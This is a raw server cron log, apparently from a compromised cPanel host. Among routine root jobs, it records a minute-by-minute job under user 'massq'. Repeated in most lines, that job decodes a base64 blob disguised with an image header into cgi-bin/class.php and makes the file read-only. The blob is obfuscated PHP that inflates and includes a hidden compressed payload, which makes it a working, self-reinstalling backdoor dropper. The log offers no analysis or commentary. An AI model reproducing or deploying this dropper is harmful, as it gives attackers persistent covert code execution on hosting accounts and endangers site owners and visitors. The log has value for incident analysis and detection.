Nov 15 03:20:01 server CROND[3239]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 03:20:01 server CROND[3238]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 03:21:01 server CROND[3542]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 03:22:01 server CROND[3803]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 03:23:01 server CROND[4058]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 03:24:01 server CROND[4309]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 03:25:01 server CROND[4646]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 03:25:01 server CROND[4647]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 03:25:01 server CROND[4648]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 03:26:01 server CROND[4999]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 03:27:01 server CROND[5583]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &amp;&gt; /dev/null &amp;&amp; /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/nightly_gzip)
Nov 15 03:27:01 server CROND[5584]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 15 03:27:01 server CROND[5585]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 03:28:01 server CROND[6511]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 03:29:01 server CROND[7474]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 03:30:01 server CROND[8403]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 03:30:01 server CROND[8402]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 03:30:01 server CROND[8404]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 03:30:01 server CROND[8401]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 15 03:31:01 server CROND[9530]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 03:32:01 server CROND[10543]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
